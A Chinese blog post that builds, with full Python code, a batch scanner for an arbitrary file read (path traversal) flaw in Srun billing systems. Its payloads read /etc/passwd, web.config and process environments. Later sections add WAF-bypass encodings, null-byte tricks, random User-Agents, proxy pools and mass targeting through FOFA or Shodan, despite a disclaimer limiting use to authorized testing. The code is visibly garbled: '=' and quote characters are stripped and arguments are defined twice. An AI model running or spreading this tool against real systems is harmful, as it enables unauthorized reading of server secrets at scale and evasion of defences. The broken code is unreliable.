
1. 项目概述与核心思路最近在整理一些历史项目的安全审计报告时发现“深澜计费管理系统”的某些老旧版本存在一个典型的Web安全漏洞——任意文件读取。这个漏洞的原理并不复杂但影响范围可能很广尤其是在一些高校、企业园区和出租屋的网络中这套系统应用得还不少。手动去一个个URL测试效率太低而且容易遗漏。作为一个习惯用代码解决问题的安全从业者我的第一反应就是写个Python脚本让它帮我批量、自动化地完成检测工作。这个脚本的核心目标很明确给定一个目标URL列表比如从搜索引擎或资产测绘平台导出的脚本能够自动访问可能存在漏洞的特定接口尝试读取服务器上的敏感文件如/etc/passwd、web.config等并根据返回内容判断漏洞是否存在。整个过程要高效、准确并且能输出清晰的报告。这不仅仅是写几行requests库调用那么简单里面涉及到目标存活判断、漏洞特征匹配、异常处理、并发控制以及结果格式化等多个环节。接下来我就把自己实现这个脚本的完整思路、踩过的坑以及最终的代码毫无保留地分享出来。2. 漏洞原理与检测逻辑拆解在动手写代码之前我们必须先搞清楚我们要检测的是什么。盲目编码只会做出一个“看起来能跑”但实际误报漏报率很高的玩具。2.1 深澜系统任意文件读取漏洞成因深澜计费管理系统的某些版本中存在一些用于文件下载或查看的接口。这些接口在设计时没有对用户传入的文件路径参数进行严格的过滤和校验。攻击者可以通过构造特殊的路径参数如../../../../etc/passwd利用目录遍历Path Traversal技术让应用程序读取并返回服务器操作系统上的任意文件内容。例如一个正常的请求可能是这样的http://target.com/download.php?fileuser_manual.pdf。而存在漏洞时攻击者可以将file参数修改为../../../../etc/passwd。如果后端代码直接拼接这个参数到根目录下就可能变成读取/etc/passwd这个系统文件。漏洞的触发点可能出现在多个模块比如日志查看、配置文件下载、模板文件读取等功能处。注意本文所有讨论和脚本仅用于授权的安全测试、企业自查或学习研究目的。未经授权对任何系统进行扫描或攻击是违法行为请务必遵守法律法规。2.2 自动化检测的核心逻辑设计基于上述原理我们的脚本需要模拟一个攻击者的行为但目的是为了发现和修复。其工作流可以抽象为以下几个步骤目标预处理输入可能是一个IP列表、域名列表或CIDR地址段。脚本需要能处理这些格式并尝试将域名解析为IP或展开CIDR为单个IP。存活探测与端口识别不是所有IP都开放了Web服务。直接对每个IP的80/443端口发漏洞探测包会造成大量无效请求效率低下。应先进行快速的端口扫描或HTTP HEAD请求确认Web服务存活。漏洞探测这是核心步骤。向目标发送精心构造的HTTP请求请求中包含了尝试读取特定敏感文件的路径参数。响应分析收到响应后不能简单地看状态码是否为200。有些系统即使文件不存在也会返回200但内容是错误页面。因此需要分析响应体内容判断是否包含了目标文件特有的特征字符串如root:x:0:0对于/etc/passwd。结果判断与输出根据分析结果判断目标是否存在漏洞并将详细信息目标URL、漏洞类型、读取到的文件片段等保存下来。并发与调速为了提升扫描效率需要使用多线程或异步IO。但同时必须考虑对目标的影响需要加入延迟控制避免请求过快导致目标服务压力过大或被封禁IP。这个逻辑链条环环相扣任何一个环节设计不当都会影响整个脚本的可靠性和可用性。3. 脚本开发环境与依赖准备工欲善其事必先利其器。我们先来把编码环境搭建好。3.1 Python环境与必备库我选择Python 3.7作为开发环境主要是因为它对异步编程的支持比较成熟而且相关的网络库生态丰富。脚本的核心依赖库并不多requests用于发送HTTP请求。这是最基础、最常用的库简单易用。aiohttp如果需要实现高性能的异步扫描aiohttp比requests更合适因为它原生支持异步能轻松管理成千上万个并发连接。我们的脚本将提供一个异步版本供选择。colorama用于在终端输出彩色文字让运行结果成功、失败、警告一目了然。argparsePython标准库用于解析命令行参数让脚本可以通过命令行灵活配置。你可以使用pip一键安装这些库除了argparse是内置的pip install requests aiohttp colorama如果安装速度慢可以使用国内镜像源例如pip install requests aiohttp colorama -i https://pypi.tuna.tsinghua.edu.cn/simple3.2 项目目录结构规划一个好的项目结构能让代码更清晰也便于后期维护。我建议的目录结构如下srun_file_read_scanner/ ├── scanner.py # 主脚本文件 ├── requirements.txt # 依赖库列表 ├── targets.txt # 示例目标列表文件 ├── payloads.txt # 漏洞检测载荷文件 └── results/ # 扫描结果输出目录 └── scan_20231027_1420.txtscanner.py我们的主程序。requirements.txt内容就是requests aiohttp colorama方便他人部署环境。targets.txt每行一个目标可以是IP、域名或URL。payloads.txt定义我们要尝试读取的路径列表及其特征。这是检测准确性的关键。results/目录每次扫描生成一个带时间戳的结果文件。这种结构分离了配置、数据和代码非常清晰。4. 核心代码模块逐行解析下面我们进入最核心的部分——代码实现。我会将脚本拆解成几个功能模块逐一讲解。4.1 参数解析与配置加载首先我们要让脚本能接受用户的输入。使用argparse库可以很方便地定义命令行接口。import argparse import sys def parse_args(): parser argparse.ArgumentParser(description深澜计费管理系统任意文件读取漏洞批量检测脚本) parser.add_argument(-u, --url, help指定单个目标URL例如http://192.168.1.1) parser.add_argument(-f, --file, help指定一个包含目标列表的文件每行一个目标) parser.add_argument(-t, --threads, typeint, default10, help并发线程数默认10) parser.add_argument(-o, --output, help指定结果输出文件路径) parser.add_argument(-p, --payloads, defaultpayloads.txt, help指定载荷文件路径默认payloads.txt) parser.add_argument(--timeout, typeint, default10, help请求超时时间秒默认10) parser.add_argument(--delay, typefloat, default0.5, help每个请求之间的延迟秒默认0.5用于避免触发防护) # 互斥参数组-u 和 -f 不能同时使用 group parser.add_mutually_exclusive_group(requiredTrue) group.add_argument(-u, --url, help指定单个目标URL) group.add_argument(-f, --file, help指定目标列表文件) if len(sys.argv) 1: parser.print_help() sys.exit(1) return parser.parse_args()这段代码定义了脚本的所有可配置选项。用户可以通过-u扫描单个目标也可以通过-f指定一个文件来批量扫描。-t控制并发数--delay控制请求频率这些都是避免对目标造成冲击的友好设置。4.2 漏洞载荷Payload的设计载荷文件payloads.txt是脚本的“武器库”。它的格式设计直接影响检测的准确性和广度。我建议使用一种结构化的格式例如JSON或每行一个载荷包含多个字段。这里我们用一种简单的自定义格式# 格式漏洞路径|特征字符串|描述 /../../../../etc/passwd|root:x:|Linux系统密码文件 /../../../../windows/win.ini|; for 16-bit app support|Windows系统文件 /../../../../proc/self/environ|DOCUMENT_ROOT|Linux进程环境变量 /../web.config|configuration|ASP.NET配置文件 /../../../../var/www/html/config.php|?php|常见网站配置文件第一列是尝试读取的路径参数已经包含了目录遍历符../第二列是如果成功读取到文件响应体中预期会包含的特征字符串用于验证第三列是描述。在代码中我们需要一个函数来加载和解析这个文件def load_payloads(payload_file): payloads [] try: with open(payload_file, r, encodingutf-8) as f: for line in f: line line.strip() if not line or line.startswith(#): continue parts line.split(|, 2) if len(parts) 3: path, fingerprint, description parts payloads.append({ path: path.strip(), fingerprint: fingerprint.strip(), description: description.strip() }) else: print(f[警告] 忽略格式错误的载荷行: {line}) except FileNotFoundError: print(f[错误] 载荷文件未找到: {payload_file}) sys.exit(1) return payloads实操心得特征字符串fingerprint的选择至关重要。它必须足够独特能唯一标识目标文件同时又不能太具体避免因文件版本差异导致漏报。例如用root:x:比用完整的root:x:0:0:root:/root:/bin/bash更稳健。同时载荷的路径需要根据目标系统的不同Linux/Windows和Web应用的路径深度进行调整我们的载荷列表里最好都包含一些。4.3 目标处理与存活检测输入的目标可能是各种各样的格式。我们需要一个统一的处理函数。import socket from urllib.parse import urlparse def normalize_target(target_str): 将用户输入的目标字符串规范化为标准的URL格式。 例如: 192.168.1.1 - http://192.168.1.1 example.com - http://example.com https://example.com:8443 - https://example.com:8443 target_str target_str.strip() if not target_str: return None parsed urlparse(target_str) if not parsed.scheme: # 如果没有协议头默认加上http:// target_str http:// target_str parsed urlparse(target_str) # 简单验证主机名是否有效 if not parsed.netloc: print(f[忽略] 无效的目标格式: {target_str}) return None return target_str.rstrip(/) # 去掉末尾的斜杠对于批量扫描在发起漏洞探测前进行一次快速的存活检测能极大提升效率。我们可以发送一个HTTP HEAD请求到目标的根路径如果能在超时时间内收到响应无论状态码就认为Web服务存活。import requests from requests.exceptions import RequestException def check_host_alive(url, timeout5): 检查目标主机是否存活Web服务是否可访问 try: # 使用HEAD方法只获取头部节省带宽和时间 resp requests.head(url, timeouttimeout, verifyFalse, allow_redirectsTrue) return True except RequestException: return False这里我们设置了verifyFalse来忽略SSL证书验证因为很多内网系统用的是自签名证书同时allow_redirectsTrue允许跟随重定向因为有些系统可能将根目录重定向到登录页。4.4 漏洞检测核心函数这是整个脚本的“心脏”。它负责向一个特定的目标URL发送一个特定的Payload并分析响应。def probe_vulnerability(base_url, payload, timeout, delay0): 针对一个目标URL和一个Payload进行漏洞探测。 import time if delay 0: time.sleep(delay) # 请求延迟避免过快 # 构造完整的漏洞测试URL # 假设漏洞接口是 /audit/export.php?file 这是一个常见的可能存在漏洞的端点实际需根据情况调整 test_url f{base_url}/audit/export.php?file{payload[path]} headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Accept: */*, } try: resp requests.get(test_url, headersheaders, timeouttimeout, verifyFalse, allow_redirectsFalse) # 关键分析响应 # 1. 状态码是200通常有戏但有些404页面也返回200所以不能只看状态码 # 2. 检查响应内容长度太短的可能是错误页面 # 3. 检查响应内容中是否包含我们预期的特征字符串 if resp.status_code 200 and len(resp.content) 100: resp_text resp.text # 特征匹配检查指纹是否在响应文本中 if payload[fingerprint] in resp_text: # 成功读取提取前500字符作为证据 evidence resp_text[:500].replace(\n, ).replace(\r, ) return True, test_url, evidence else: # 返回了内容但不是目标文件 return False, test_url, f状态码{resp.status_code}但未匹配到特征。 else: return False, test_url, f状态码{resp.status_code}内容长度{len(resp.content)}。 except requests.exceptions.Timeout: return False, test_url, 请求超时 except requests.exceptions.ConnectionError: return False, test_url, 连接错误 except Exception as e: return False, test_url, f请求异常: {str(e)}这个函数有几个关键点接口路径/audit/export.php?file只是一个示例。深澜系统可能有多个存在漏洞的端点如/client/export.php、/log/download.php等。在实际使用中你需要根据目标系统的实际情况修改这个路径或者将路径也作为Payload的一部分从文件加载。响应分析逻辑这是减少误报的核心。我们不仅看状态码200还要求响应体有一定长度避免错误页面并且必须包含特征字符串。三重条件同时满足才判定为漏洞存在。错误处理网络请求充满不确定性必须用try...except捕获所有可能的异常避免因为单个目标请求失败导致整个程序崩溃。证据保留一旦检测到漏洞我们会截取响应内容的前500个字符作为证据保存下来方便后续人工复核。4.5 多线程扫描调度为了同时扫描多个目标我们需要引入并发机制。这里使用Python内置的concurrent.futures库中的ThreadPoolExecutor它提供了一个简单的高级接口来管理线程池。from concurrent.futures import ThreadPoolExecutor, as_completed def scan_target(target, payloads, timeout, delay_per_request): 扫描单个目标对目标依次尝试所有Payload。 results_for_target [] print(f[*] 开始扫描目标: {target}) for payload in payloads: is_vuln, test_url, message probe_vulnerability(target, payload, timeout, delay_per_request) if is_vuln: print(f[!] 发现漏洞目标: {target}, 载荷: {payload[description]}) results_for_target.append({ target: target, payload: payload[description], test_url: test_url, evidence: message, status: VULNERABLE }) # 一旦发现一个漏洞可以继续测试其他Payload也可以break跳出 # break # 如果只想发现一个漏洞就停止可以取消注释 else: # 可选打印调试信息但为了输出简洁通常只打印成功或错误信息 # print(f[-] 目标 {target} 对载荷 {payload[description]} 无漏洞: {message}) pass return results_for_target def main_scan(targets, payloads, thread_count, timeout, delay): 主扫描函数使用线程池并发扫描多个目标。 all_results [] with ThreadPoolExecutor(max_workersthread_count) as executor: # 提交扫描任务到线程池 future_to_target {executor.submit(scan_target, target, payloads, timeout, delay): target for target in targets} # 处理完成的任务 for future in as_completed(future_to_target): target future_to_target[future] try: target_results future.result(timeouttimeout5) # 给每个任务多一点超时时间 all_results.extend(target_results) except Exception as exc: print(f[错误] 目标 {target} 扫描过程中产生异常: {exc}) return all_resultsThreadPoolExecutor将扫描任务分配给固定数量的线程。max_workers参数控制了并发数不宜设置过大否则可能会被目标服务器拒绝或触发防护规则通常10-50是个合理的范围。as_completed让我们能在每个任务完成时立即处理结果而不是等所有任务都完成。4.6 结果输出与报告生成扫描完成后我们需要将结果清晰地呈现给用户。可以同时支持控制台彩色输出和文件保存。from colorama import init, Fore, Back, Style import json from datetime import datetime init(autoresetTrue) # 初始化colorama自动重置颜色 def output_results(results, output_fileNone): 输出扫描结果到控制台和/或文件。 vuln_count sum(1 for r in results if r[status] VULNERABLE) total_tested len(results) print(f\n{*60}) print(f扫描完成) print(f总计测试目标: {total_tested}) print(f发现漏洞目标: {Fore.RED}{vuln_count}{Style.RESET_ALL}) print(f{*60}\n) # 控制台输出详情 for res in results: if res[status] VULNERABLE: print(f{Fore.GREEN}[] 漏洞确认{Style.RESET_ALL}) print(f 目标: {res[target]}) print(f 漏洞: {res[payload]}) print(f 测试URL: {Fore.CYAN}{res[test_url]}{Style.RESET_ALL}) print(f 证据片段: {res[evidence][:200]}...) # 只打印前200字符 print(f {-*40}) # 文件输出 if output_file: # 如果未指定文件名生成一个带时间戳的默认文件名 if output_file is True: timestamp datetime.now().strftime(%Y%m%d_%H%M%S) output_file fresults/scan_result_{timestamp}.json # 确保输出目录存在 import os os.makedirs(os.path.dirname(output_file) if os.path.dirname(output_file) else ., exist_okTrue) # 保存为JSON格式便于其他程序解析 with open(output_file, w, encodingutf-8) as f: json.dump({ scan_time: datetime.now().isoformat(), statistics: {total: total_tested, vulnerable: vuln_count}, results: results }, f, indent2, ensure_asciiFalse) print(f\n详细结果已保存至: {output_file})将结果保存为JSON格式非常灵活你可以很容易地用其他工具如Excel, Python Pandas进行二次分析或生成更漂亮的报告。5. 脚本的完整代码与使用示例将上述所有模块组合起来就得到了我们的完整脚本。以下是scanner.py的整合版代码框架省略了部分重复的import和函数定义#!/usr/bin/env python3 深澜计费管理系统任意文件读取漏洞批量检测脚本 Author: [你的名字] Usage: python scanner.py -u http://target.com 或 python scanner.py -f targets.txt import argparse import sys import socket import time import json import os from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime import requests from requests.exceptions import RequestException from colorama import init, Fore, Back, Style # 初始化colorama init(autoresetTrue) # 这里插入之前定义的所有函数parse_args, load_payloads, normalize_target, check_host_alive, probe_vulnerability, scan_target, main_scan, output_results def main(): args parse_args() # 1. 加载Payload print(f[*] 加载漏洞载荷从: {args.payloads}) payloads load_payloads(args.payloads) print(f[*] 已加载 {len(payloads)} 个检测载荷。) # 2. 处理目标输入 targets [] if args.url: target normalize_target(args.url) if target: targets.append(target) elif args.file: try: with open(args.file, r, encodingutf-8) as f: for line in f: t normalize_target(line.strip()) if t: targets.append(t) except FileNotFoundError: print(f[错误] 目标文件未找到: {args.file}) sys.exit(1) print(f[*] 共解析出 {len(targets)} 个待扫描目标。) # 3. (可选)存活检测过滤掉无法访问的目标 print([*] 正在进行目标存活检测...) alive_targets [] for target in targets: if check_host_alive(target, timeout5): alive_targets.append(target) else: print(f[-] 目标不可达已跳过: {target}) print(f[*] 存活目标数: {len(alive_targets)}/{len(targets)}) if not alive_targets: print([!] 没有存活的目标扫描终止。) sys.exit(0) # 4. 开始并发漏洞扫描 print(f[*] 开始漏洞扫描线程数: {args.threads}, 单请求延迟: {args.delay}秒) all_results main_scan(alive_targets, payloads, args.threads, args.timeout, args.delay) # 5. 输出结果 output_results(all_results, args.output) if __name__ __main__: main()使用示例扫描单个目标python scanner.py -u http://192.168.1.100批量扫描目标列表python scanner.py -f targets.txt -t 20 --delay 1 -o my_scan_result.json-t 20: 使用20个线程并发。--delay 1: 每个请求间隔1秒非常温和。-o ...: 将结果输出到指定JSON文件。使用自定义Payload文件python scanner.py -f targets.txt -p my_custom_payloads.txt运行后你会在终端看到彩色的扫描进度和结果。发现漏洞时会以绿色高亮显示并打印出测试URL和文件内容片段。6. 高级优化与异步IO版本对于需要扫描成千上万个目标的大规模任务基于requests和ThreadPoolExecutor的同步线程模型可能会遇到性能瓶颈线程切换开销、GIL限制等。此时我们可以考虑使用异步IO库aiohttp来重写核心的探测部分实现更高的并发效率和更低的资源占用。下面提供一个probe_vulnerability函数的异步版本概览import aiohttp import asyncio async def probe_vulnerability_async(session, base_url, payload, semaphore, delay0): 异步版本的漏洞探测函数 if delay 0: await asyncio.sleep(delay) test_url f{base_url}/audit/export.php?file{payload[path]} headers {User-Agent: Mozilla/5.0 ...} async with semaphore: # 使用信号量控制并发度比线程池更轻量 try: async with session.get(test_url, headersheaders, sslFalse, timeoutaiohttp.ClientTimeout(total10)) as resp: content await resp.read() if resp.status 200 and len(content) 100: text content.decode(utf-8, errorsignore) if payload[fingerprint] in text: evidence text[:500] return True, test_url, evidence else: return False, test_url, f状态码{resp.status}内容不匹配。 else: return False, test_url, f状态码{resp.status}长度{len(content)}。 except asyncio.TimeoutError: return False, test_url, 超时 except Exception as e: return False, test_url, f请求失败: {str(e)} async def scan_target_async(target, payloads, session, semaphore, delay): 异步扫描单个目标 results [] for payload in payloads: is_vuln, url, msg await probe_vulnerability_async(session, target, payload, semaphore, delay) if is_vuln: results.append({target: target, payload: payload[description], test_url: url, evidence: msg, status: VULNERABLE}) # 发现一个漏洞后可以break return results主函数则需要改为async def并使用asyncio.gather来管理大量并发任务。异步版本的代码结构略有不同但逻辑完全一致它能轻松管理数百甚至上千个并发连接特别适合大规模资产测绘场景。由于篇幅限制完整的异步脚本代码就不在这里全部展开了但其设计思路是共通的用aiohttp.ClientSession管理连接池用asyncio.Semaphore控制最大并发数。7. 实战中的注意事项与避坑指南在实际使用这个脚本的过程中我积累了一些非常重要的经验这些往往是文档里不会写的“坑”。7.1 关于Payload的“狡猾”之处编码与双重编码有些WAF或应用自身会对参数进行解码。直接提交../../etc/passwd可能被拦截但尝试URL编码%2e%2e%2f或双重URL编码%252e%252e%252f有时能绕过简单的过滤。我们的载荷文件可以预先准备几种编码变体。绝对路径尝试除了目录遍历有时直接猜解绝对路径也可能成功例如/etc/passwd、C:\Windows\System32\drivers\etc\hosts。可以在载荷文件中加入一些常见的绝对路径。空字节截断在PHP老版本中在路径后添加空字节%00有时能截断后面的后缀检查。例如../../../etc/passwd%00.jpg。虽然现在很少见但在针对极其老旧系统时可以考虑。7.2 网络请求的稳定性处理超时设置要合理timeout参数不能太小否则内网延迟较高的目标容易被误判为不可达。建议设置在10-15秒。但在异步扫描中超时设置不当会导致整个事件循环被卡住。处理SSL证书错误内网系统常用自签名证书必须设置verifyFalse。但Python可能会抛出警告可以用urllib3.disable_warnings()来抑制。会话复用与连接池在同步版本中可以考虑使用requests.Session()来复用TCP连接提升速度。在异步版本中aiohttp.ClientSession本身就是一个强大的连接池。随机User-Agent使用固定的User-Agent容易被识别为扫描器。可以准备一个列表每次请求随机选取一个增加隐蔽性。7.3 避免被封锁的策略延迟--delay是你的朋友这是最重要的参数。即使线程数不多如果没有延迟短时间内对同一目标发起数十个请求很容易触发IP封锁或WAF规则。对于生产环境建议将延迟设置为1秒甚至更高。分散扫描不要一次性对同一个C段的所有IP进行高强度扫描。可以将目标列表打乱顺序或者分批次扫描。使用代理池如果扫描规模很大可以考虑通过代理服务器轮询发送请求分散来源IP。7.4 结果验证与误报处理脚本的自动判断并非100%准确。所有由脚本报告为“存在漏洞”的目标都必须进行人工验证。手动访问测试URL用浏览器或curl命令访问脚本输出的test_url亲眼确认返回的内容。尝试读取其他文件如果读到了/etc/passwd可以再尝试读取/etc/hosts、/proc/version等文件确认漏洞的真实性和危害程度。误报分析如果脚本报告漏洞但手动访问发现不是需要检查特征字符串fingerprint是否不够唯一是否出现在了错误页面中目标系统是否做了自定义修改导致文件内容与预期不同响应状态码是否为200但实际是自定义的错误页面8. 脚本的扩展思路这个基础脚本可以作为一个起点根据实际需求进行很多功能扩展集成到资产测绘平台将脚本作为一个模块与FOFA、Shodan等平台的API结合自动获取目标并进行扫描。漏洞利用自动化检测到漏洞后不仅可以读取文件还可以尝试写入文件如果存在文件上传点配合实现更深入的利用。生成可视化报告将JSON结果用HTML模板渲染生成带有图表、统计信息的可视化报告更便于向非技术人员展示。支持更多漏洞类型修改Payload加载和探测逻辑使其成为一个通用的路径遍历/文件读取漏洞检测框架可以加载不同系统的Payload集。智能指纹识别在扫描前先对目标进行指纹识别如访问特定JS文件、查看HTTP头判断其是否是深澜系统、具体是什么版本然后动态加载最适合该版本的Payload提高检测精度和效率。写这样一个脚本最大的收获不仅仅是完成了一个自动化工具更是在这个过程中对HTTP协议、Web安全漏洞、Python并发编程以及稳健的代码设计有了更深刻的理解。安全测试工具的灵魂在于其准确性和可靠性而这需要大量的测试、调优和实战经验的积累。希望这份详细的解读和代码能为你自己的安全研究或企业自查工作提供一个坚实的起点。记住能力越大责任越大请务必在合法合规的范围内使用这些技术。